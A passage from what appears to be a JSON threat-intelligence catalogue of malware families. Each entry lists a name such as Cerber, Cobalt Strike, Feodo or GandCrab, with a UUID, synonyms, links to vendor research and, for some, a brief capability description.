"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat",
"http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412"
]
},
"uuid": "3d3da4c0-004c-400c-9da6-f83fd35d907e",
"value": "Cardinal RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.casper",
"https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/"
]
},
"uuid": "3198501e-0ff0-43b7-96f0-321b463ab656",
"value": "Casper",
"description": "ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas",
"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets"
]
},
"uuid": "8060dbdc-cf31-40bc-9900-eb8119423c50",
"value": "Catchamas",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor",
"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
"https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/",
"http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/",
"https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident",
"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
"http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/",
"https://blog.avast.com/progress-on-ccleaner-investigation",
"https://www.wired.com/story/ccleaner-malware-targeted-tech-firms",
"https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer",
"https://twitter.com/craiu/status/910148928796061696",
"https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident",
"http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor",
"https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/",
"http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"
]
},
"uuid": "c51ee09b-fc2d-41fd-a43b-426a4f337139",
"value": "CCleaner Backdoor",
"description": ""
},
{
"meta": {
"synonyms": [
"cerebrus"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos",
"https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html"
]
},
"uuid": "fca8c5e0-4fef-408c-bcd7-9826271e8e5d",
"value": "CenterPOS",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber",
"http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/",
"https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/",
"https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/",
"https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html"
]
},
"uuid": "79a7203a-6ea5-4c39-abd4-faa20cf8821a",
"value": "Cerber",
"description": "A prolific ransomware which originally added \".cerber\" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner"
]
},
"uuid": "ba7706c1-7d2a-4031-9acc-cb862860da1a",
"value": "Cerbu",
"description": ""
},
{
"meta": {
"synonyms": [
"Ham Backdoor"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.chches",
"https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html",
"https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html",
"https://www.jpcert.or.jp/magazine/acreport-ChChes.html",
"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
]
},
"uuid": "6eee9bf9-ffce-4c88-a5ad-9d80f6fc727c",
"value": "ChChes",
"description": ""
},
{
"meta": {
"synonyms": [
"cherrypickerpos",
"cherrypicker",
"cherry_picker"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/"
]
},
"uuid": "e6ab90d3-8011-4927-a0cd-eab57e7971aa",
"value": "CherryPicker POS",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca",
"http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/"
]
},
"uuid": "2137a0ce-8d06-4538-ad0b-6ab6ec865493",
"value": "ChewBacca",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad"
]
},
"uuid": "098cfb93-8921-48f0-a694-a83f350e8a61",
"value": "Chinad",
"description": "Adware that shows advertisements using plugin techniques for popular browsers"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.chir"
]
},
"uuid": "59b5697a-5154-4c08-87f8-c71b0e8425fc",
"value": "Chir",
"description": ""
},
{
"meta": {
"synonyms": [
"AndroKINS"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic",
"https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan",
"https://www.s21sec.com/en/blog/2017/07/androkins/",
"https://securelist.com/chthonic-a-new-modification-of-zeus/68176/"
]
},
"uuid": "9441a589-e23d-402d-9603-5e55e3e33971",
"value": "Chthonic",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel",
"https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/",
"http://www.xylibox.com/2016/02/citadel-0011-atmos.html",
"http://blog.jpcert.or.jp/2016/02/banking-trojan--27d6.html",
"https://www.arbornetworks.com/blog/asert/the-citadel-and-gameover-campaigns-of-5cb682c10440b2ebaf9f28c1fe438468/"
]
},
"uuid": "7f550cae-98b7-4a0c-bed2-d79227dc6310",
"value": "Citadel",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus",
"https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/"
]
},
"uuid": "c2bd0771-55d6-4242-986d-4bfd735998ba",
"value": "Client Maximus",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke",
"https://www.f-secure.com/weblog/archives/00002822.html"
]
},
"uuid": "40baac36-2fd0-49b3-b05b-1087d60f4f2c",
"value": "Cloud Duke",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute",
"https://securelist.com/the-shade-encryptor-a-double-threat/72087/"
]
},
"uuid": "ad960c5c-f2a1-405e-a32a-31f75b7c6859",
"value": "CMSBrute",
"description": ""
},
{
"meta": {
"synonyms": [
"meciv"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar",
"https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/",
"https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan",
"https://twitter.com/ClearskySec/status/963829930776723461",
"https://www.votiro.com/single-post/2018/02/13/New-campaign-targeting-Ukrainians-holds-secrets-in-documents-properties"
]
},
"uuid": "e4e15ab4-9ba6-444a-b154-2854757e792e",
"value": "CMSTAR",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike",
"https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks",
"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
"https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/",
"https://www.lac.co.jp/lacwatch/people/20180521_001638.html"
]
},
"uuid": "1a1d3ea4-972e-4c48-8d85-08d9db8f1550",
"value": "Cobalt Strike",
"description": "Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to:\r\n\r\n* Execute commands\r\n* Log keystrokes\r\n* Upload/download files\r\n* SOCKS proxy\r\n* Privilege escalation\r\n* Mimikatz\r\n* Port scanning\r\n* Lateral Movement\r\n\r\nThe Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat",
"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
"https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html"
]
},
"uuid": "aa553bbd-f6e4-4774-9ec5-4607aa2004b8",
"value": "Cobian RAT",
"description": ""
},
{
"meta": {
"synonyms": [
"COOLPANTS"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint",
"https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint",
"https://www.group-ib.com/blog/renaissance",
"https://asert.arbornetworks.com/double-the-infection-double-the-fun/"
]
},
"uuid": "23160942-6de6-41c0-8d8c-44876191c3f0",
"value": "CobInt",
"description": "CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager."
},
{
"meta": {
"synonyms": [
"Carbon"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra",
"https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra",
"https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf",
"https://securelist.com/analysis/publications/65545/the-epic-turla-operation/",
"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
"https://github.com/hfiref0x/TDL"
]
},
"uuid": "f75452f3-6a4a-4cd6-b3e0-089fa320e9b9",
"value": "Cobra Carbon System",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker",
"https://twitter.com/JaromirHorejsi/status/817311664391524352"
]
},
"uuid": "77e85a95-6a78-4255-915a-488eb73ee82f",
"value": "CockBlocker",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey",
"https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf"
]
},
"uuid": "cb5bad79-707c-493d-8a2b-4c0be38301c5",
"value": "CodeKey",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc",
"https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf"
]
},
"uuid": "9481d7b1-307c-4504-9333-21720b85317b",
"value": "Cohhoc",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
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},
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},
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},
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]
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"value": "Eredel",
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},
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"description": "According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.\r\n\r\nThere seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API)."
},
{
"meta": {
"synonyms": [
"Braviax"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean",
"https://blog.threattrack.com/fakerean-comes-of-age-turns-hard-core/",
"https://0x3asecurity.wordpress.com/2015/11/30/134260124544/",
"https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv"
]
},
"uuid": "653df134-88c9-47e2-99a5-06e0406ab6d4",
"value": "FakeRean",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc",
"http://www.welivesecurity.com/2015/07/30/operation-potao-express/"
]
},
"uuid": "6b0030bc-6e45-43b0-9175-15fe8fbd0942",
"value": "FakeTC",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny",
"https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1"
]
},
"uuid": "6d441619-c5f5-45ff-bc63-24cecd0b237e",
"value": "Fanny",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt",
"https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/"
]
},
"uuid": "29f4ae5a-4ccd-451b-bd3e-d301865da034",
"value": "FantomCrypt",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos",
"http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf",
"https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/",
"http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf"
]
},
"uuid": "1bf03bbb-d3a2-4713-923b-218186c86914",
"value": "FastPOS",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus",
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
]
},
"uuid": "07a41ea7-17b2-4852-bfd7-54211c477dc0",
"value": "Felismus",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot",
"https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257",
"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html"
]
},
"uuid": "e58755ac-3d0c-4ed3-afeb-e929816c8018",
"value": "Felixroot",
"description": ""
},
{
"meta": {
"synonyms": [
"Cridex",
"Bugat"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo",
"http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html",
"https://feodotracker.abuse.ch/",
"https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/",
"http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html"
]
},
"uuid": "66781866-f064-467d-925d-5e5f290352f0",
"value": "Feodo",
"description": "Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ff_rat",
"https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html"
]
},
"uuid": "e701b875-8ade-434f-89ff-6c367099bfd8",
"value": "FF RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom",
"https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/"
]
},
"uuid": "ed0b8ac9-973b-4aaa-9904-8c7ed2e73933",
"value": "FileIce",
"description": ""
},
{
"meta": {
"synonyms": [
"Poseidon"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos",
"https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/",
"https://blogs.cisco.com/security/talos/poseidon"
]
},
"uuid": "ae914b9a-67a2-425d-bef0-3a9624a207ba",
"value": "FindPOS",
"description": ""
},
{
"meta": {
"synonyms": [
"FinSpy"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher",
"https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html",
"https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html",
"https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/",
"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
"http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation",
"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf",
"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
]
},
"uuid": "541b64bc-87ec-4cc2-aaee-329355987853",
"value": "FinFisher RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
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"http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/"
]
},
"uuid": "9ad28356-184c-4f02-89f5-1b70981598c3",
"value": "Fireball",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt",
"https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/"
]
},
"uuid": "c4346ed0-1d74-4476-a78c-299bce0409bd",
"value": "FireCrypt",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv",
"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf"
]
},
"uuid": "9715c6bc-4b1e-49a2-b1d8-db4f4c4f042c",
"value": "FireMalv",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom",
"https://twitter.com/JaromirHorejsi/status/815949909648150528"
]
},
"uuid": "1ab17959-6254-49af-af26-d34e87073e49",
"value": "FirstRansom",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy",
"https://github.com/Coldzer0/Ammyy-v3",
"https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/",
"https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat",
"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat"
]
},
"uuid": "18419355-fd28-41a6-bffe-2df68a7166c4",
"value": "FlawedAmmyy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy",
"https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/"
]
},
"uuid": "4305d59a-0d07-4021-a902-e7996378898b",
"value": "FlexiSpy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
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"http://blog.talosintel.com/2016/12/flokibot-collab.html#more",
"https://www.cylance.com/en_us/blog/threat-spotlight-flokibot-pos-malware.html",
"https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/",
"http://adelmas.com/blog/flokibot.php",
"https://www.arbornetworks.com/blog/asert/flokibot-invades-pos-trouble-brazil/",
"https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/",
"https://www.flashpoint-intel.com/blog/cybercrime/floki-bot-emerges-new-malware-kit/",
"https://www.flashpoint-intel.com/flokibot-curious-case-brazilian-connector/"
]
},
"uuid": "057ff707-a008-4ab8-8370-22b689ed3412",
"value": "FlokiBot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif",
"https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library"
]
},
"uuid": "b1b2e501-b68f-4e2e-ab98-85e9bda0fbcd",
"value": "Floxif",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc",
"https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/"
]
},
"uuid": "79e9df7d-abc8-45bd-abd3-be9b975f1a03",
"value": "Flusihoc",
"description": "Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber",
"http://blog.wizche.ch/fobber/malware/analysis/2015/08/10/fobber-encryption.html",
"http://www.govcert.admin.ch/downloads/whitepapers/govcertch_fobber_analysis.pdf",
"https://blog.malwarebytes.com/threat-analysis/2015/06/elusive-hanjuan-ek-caught-in-new-malvertising-campaign/",
"https://www.govcert.admin.ch/blog/12/analysing-a-new-ebanking-trojan-called-fobber",
"http://byte-atlas.blogspot.ch/2015/08/knowledge-fragment-unwrapping-fobber.html"
]
},
"uuid": "bb836040-c161-4932-8f89-bc2ca2e8c1c0",
"value": "Fobber",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook",
"https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html",
"http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/",
"http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html",
"https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/",
"https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/",
"http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html",
"https://blog.talosintelligence.com/2018/06/my-little-formbook.html"
]
},
"uuid": "8378b417-605e-4196-b31f-a0c96d75aa50",
"value": "Formbook",
"description": "FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called \"Babushka Crypter\" by Insidemalware."
},
{
"meta": {
"synonyms": [
"ffrat"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat",
"https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
]
},
"uuid": "9aacd2c7-bcd6-4a82-8250-cab2e4e2d402",
"value": "FormerFirstRAT",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki",
"https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/",
"http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
]
},
"uuid": "f86b675a-b7b2-4a40-b4fd-f62fd96440f1",
"value": "Freenki Loader",
"description": ""
},
{
"meta": {
"synonyms": [
"BitPaymer"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex",
"https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
]
},
"uuid": "58ae14a9-c4aa-490c-8404-0eb590f5650d",
"value": "FriedEx",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim",
"http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341&sid=af76b944112a234fa933cc934d21cd9f",
"https://sentinelone.com/blogs/sfg-furtims-parent/"
]
},
"uuid": "c9d78931-318c-4b34-af33-c90f6612a4f1",
"value": "Furtim",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader"
]
},
"uuid": "c12f1363-2bc8-4ffb-8f31-cbb5f85e0ffe",
"value": "GalaxyLoader",
"description": "GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.\r\n\r\nIt seems to make use of iplogger.com for tracking.\r\nIt employed WMI to check the system for\r\n- IWbemServices::ExecQuery - SELECT * FROM Win32_Processor\r\n- IWbemServices::ExecQuery - select * from Win32_VideoController\r\n- IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct\r\n"
},
{
"meta": {
"synonyms": [
"pios"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos",
"http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf"
]
},
"uuid": "8f785ee5-1663-4972-9a64-f02e7c46ba66",
"value": "gamapos",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga"
]
},
"uuid": "c4afb7c6-cfba-40d7-aa79-a2829828ed92",
"value": "Gameover DGA",
"description": ""
},
{
"meta": {
"synonyms": [
"ZeuS P2P",
"GOZ"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p",
"https://www.wired.com/?p=2171700",
"https://www.fox-it.com/nl/wp-content/uploads/sites/12/FoxIT-Whitepaper_Blackhat-web.pdf",
"http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf",
"https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware",
"https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf"
]
},
"uuid": "ffc8c386-e9d6-4889-afdf-ebf37621bc4f",
"value": "Gameover P2P",
"description": "Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol"
]
},
"uuid": "9664712b-81f1-4c52-ad4d-a657a120fded",
"value": "Gamotrol",
"description": ""
},
{
"meta": {
"synonyms": [
"GrandCrab"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab",
"https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/",
"https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/",
"https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/",
"http://asec.ahnlab.com/1145",
"http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/",
"https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/",
"https://isc.sans.edu/diary/23417",
"https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html",
"http://csecybsec.com/download/zlab/20181001_CSE_GandCrabv5.pdf",
"https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/"
]
},
"uuid": "a8d83baa-cf2e-4329-92d7-06c8ccdeb275",
"value": "win.gandcrab",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox",
"http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html"
]
},
"uuid": "591b2882-65ba-4629-9008-51ed3467510a",
"value": "Gaudox",
"description": "Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only)."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss",
"http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html"
]
},
"uuid": "5f8be453-8f73-47a2-9c9f-e8b9b02f5691",
"value": "Gauss",
"description": ""
},
{
"meta": {
"synonyms": [
"WhiteBear"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer",
"https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/",
"https://securelist.com/introducing-whitebear/81638/",
"https://www.youtube.com/watch?v=Pvzhtjl86wc",
